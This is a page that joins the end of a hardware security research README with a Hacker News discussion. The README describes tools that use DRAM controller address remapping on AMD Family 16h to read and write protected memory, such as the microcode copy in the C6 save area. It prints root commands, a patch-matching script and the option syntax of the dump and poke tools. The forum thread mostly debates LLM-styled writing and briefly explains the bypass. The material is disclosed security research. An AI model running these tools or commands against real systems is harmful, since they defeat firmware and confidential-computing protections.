IA32_APIC_BASE | 0xfee00900 |
+0xa38 |
variable MTRR (base/mask) | 0x6f000000 / …0800 |
+0xb10 |
saved RIP | 0xffffffff8f3a0029 |
Of course, those registers are all accessible from ring-0 anyway. The fun part is in all the other CPU state sitting there — poking the internal CPU registers ring-0 can't reach.
What could go wrong?
When a core drops into C6 its microcode patch RAM — volatile SRAM — goes dark with
the rest of the core. So the C6 stash keeps the loaded patch in DRAM and re-seeds
it on wake. That copy sits at +0x1800 in each save area, and the alias reaches
it like any other byte.
Grab the microcode copy the CPU stashed in fenced DRAM:
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
Match it against known patches:
# did we find it?
python3 - <<'EOF'
ram = open("ucode_ram.bin", "rb").read()
chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12]
for fam in (15, 16, 17, 19):
uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read()
print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match")
EOF
This is a good sign:
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- the microcode the core is running
fam17h: 0/94 chunks match
fam19h: 0/94 chunks match
Extract the ucode triads:
od -Ax -tx1 -w20 ucode_ram.bin
000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a
000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0
000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27
[...]
000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00
*
0005f0
And there it is, distinct uops up top, NOP padding repeating below.
From there, dram_dump has a sibling tool, dram_poke. The same alias that
read the patch can write it — and this copy is the one the core reloads coming
out of idle.
What you do next is up to your imagination.
make # builds kernel/spaghettify.ko and all userspace tools
make clean
Run as root. Full details in USAGE.md.
dram_readSimple read from a protected memory address.
Push the --do-swizzle / --do-bankswap flips into the DRAM controller to
enter the spaghettified memory view, read one dword from physical address
<pa>, restore the DCT bits, and return the value.
dram_read
--pa <pa>
--do-swizzle <0|1>
--do-bankswap <0|1>
dram_pokeWrite into a protected memory range.
Each --map is a solved spaghettification from unspaghettify.py --save-map,
itself fed by alias pairs collected by gather_aliases.py; the alias for every
dword in the protected range is recovered from the map via a GF(2)
pseudo-inverse computed once at startup. Pass multiple maps — one per
(at_swizzle, at_bankswap) gathered on the same hardware — to widen coverage,
since each spaghettification leaves a different set of rank-deficient holes and
the first map that reaches a given dword wins.
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dumpRead from a protected memory range.
Same --map machinery as dram_poke: each map is a solved spaghettification
from unspaghettify.py --save-map, the alias for every dword is recovered via
a one-shot GF(2) pseudo-inverse, and multiple maps gathered at different
(at_swizzle, at_bankswap) widen coverage where one map's rank-deficient
holes are filled by another's.
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
The full toolchain — dram_state, dram_carveouts, and dram_alias; the
gather_aliases.py / unspaghettify.py analysis pipeline; worked end-to-end
examples; and the internals — is documented in USAGE.md.
skitter-creek-bath-salts explores how the final stages of the MCT/DCT
transforms can topple the security of everything built above it. The exploit
demonstrated here is one configuration register on AMD Family 16h, picked
because the datasheets gave enough to begin. The pipeline it broke is
everywhere.
Channel interleave, rank interleave, bank interleave, swizzle, chip-select normalize — every modern memory controller does some version of all of it. AMD. Intel. ARM. RISC-V. Mobile. Server. Embedded. The same architectural shape sits underneath everything.
Above it all sits SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP,
the PSP, ME, T-SEG, SMRAM, the C6 stash. Everything sitting in DRAM — even things
walled off and invisible to ring-0 or the CPU itself — rests on the final layers
of a *p pipeline we've just begun to explore.
skitter-creek-bath-salts is a research effort from Christopher Domas (@xoreaxeaxeax)

The only modern silicon that gives me full control over what code is running is some (or most?) microcontrollers.
And this isn't just a question of FOSS principle. Especially SMM is problematic by unpredictably taking CPU cycles away from your workload. This can mess up hard realtime workloads, such as found in CNC controllers. If you are running something like LinuxCNC this something you need to measure to figure out if a given computer is suitable for that job.
My gut feeling agrees. The rule of three is one of the stronger signals, can't stamp that out of the AI even if you wanted :-)
I'll push it to GH later, it's nothing fancy but it has been quite good in my experience. Here is highlights which it used
``` tricolon coordinated VERB run: “…break / on them collapse / unlock everything .” (3 members) tricolon coordinated VERB run: “…guard physical addresses / not DRAM coordinates / you rearrange the” (3 members) tricolon coordinated NOUN run: “…handful of data / it to z3 / the translation matrix” (3 members) tricolon coordinated NOUN run: “…view / the elaborate fences / locks / security checks the” (4 members) tricolon coordinated VERB run: “…Read it / the alias map / pipe” (3 members) ```
But I have a new favorite way of demonstrating this:
https://github.com/search?q=owner%3Axoreaxeaxeax+load-bearin...
Guess how many of these are from before 2025.
So far seems this is about right:
1. You need platform register access, so seems can't KVM-escape with just this
2. Big question is what about breaking Confidential SEV-SNP guests from the host?
I hate these especially much: It's at the same both both overly dramatic, it's presented as some great reveal that will change everything, while at the same time being completely trivial and only detracts from the explanation. If you have no idea that memory addresses are translated you will understand absolutely nothing from the text or even what this is all about. If you want to explain what an MMU is, just do that instead and don't present it as some great revelation.
But some equally dramatic phrasings could just as well be something that leaves you astonished. You never know. You have to skim the text to find what is useful information and what is just filler. The signal-to-noise is low.
It's called slop for a reason.
Damn. Now my artist-mode in Emacs skills are useless.
Zen changed DTC (DRAM Controller) to UMC (Unified Memory Controller), UMC is programmed at boot, and one would hope they figured that locking access to it makes sense when they were adding confidential compute support; Not clear though because there is no public documentation on it, so best we can hope for is some statement from AMD/3rd party researcher saying "this won't work on Zen because X/Y/Z"
Go ahead and throw the comment into your favorite unreliable AI detector. Even though I suspect they're mostly garbage, my writing is just so far away from what AI models do that it doesn't even matter.
edit: I caved into temptation and checked. Big fat zero on GPTZero.
Likewise, I don't mind the diagrams. Though they do often have the same flaw as other text, being that the LLM throws in EVERYTHING, vs. a handmade one that'd generally have more taste and discretion to it. That can kind of work in its favor here, since the point is just to show the complexity of the stack, but on the other hand the reader lacks confidence that every item in there is "really" a part of the stack (which I would be fully confident in for this author, had he written it by hand) and not just some process related to memory/DRAM that the LLM decided to toss in.
The article would be better with just the instructions and audited output. All the LLM added bloat is tiring and distracting; it's like an article from New-Yorker or Wired.
You are literally asking this to people who clearly care...
> In today's present, I wouldn't bother writing the article myself neither besides giving the instructions and auditing the output.
Then why exactly are you even bothering to reply to me instead of having Claude do it and auditing the output? If HN didn't have a rule against it, would you even bother replying yourself?
But really, there's a fair bit more to unpack here than just that. Why wouldn't you bother? Is writing a README.md about some project you worked on really that hard? Even with heavy LLM assistance, I'd wager to guess this project, which clearly involved working on real hardware, was more than just prompting. So clearly there was human effort other than prompting. And I do respect that, but I want people who write things to respect my time. I'm not asking them to disclose every tool they use, I'm asking them to not waste our time with crappy irritating Claude writeups. Whether it's explictly specified or not, we know.
Frankly I struggle to believe that people don't really mind if someone else speaks for them in their own voice, just because they're too fucking lazy to speak for themselves anymore. We've had competent GenAI for like a year or two, at this rate people are going to forget their potty training in another few months.
> Substance is what matters
Substance matters, which is not great for LLMs, because they put out text that has far more fluff than substance. What, however, is far worse for LLMs, is the fact that kick and scream and cry all you want, but: style and presentation matters, too.
It is absolutely true that if you just dropped a very brief blurb that all AMD CPUs from a certain generation can be pwned it would have a decent chance to hit the HN frontpage just out of sheer interestingness. That is not because the style and presentation doesn't matter, it's just that the substance is significant in spite of the bad presentation and style.
And absolutely, we can easily forgive someone for simply not being very good at the presentation and style part, certainly I'm not really an expert at it. But this author has released plenty of great hits before, so I damn well know they can. It's a serious disappointment to see them downgrade to irritating, grating Claude garbage output.
Ring -1 needs DRAM, so it tells the memory controller to give it some blocks. The memory controller hands back a “physical” address, and promises not to let anything but ring -1 access that address.
The exploit takes advantage of that control register to remap the same DRAM blocks to a different physical address. Since the memory controller only promised to protect the physical address it handed back, that protection is bypassed when using the new address.
There are several theoretical ways to mitigate this exploit, but it remains to be seen if the system is sufficiently field-upgradeable to defend.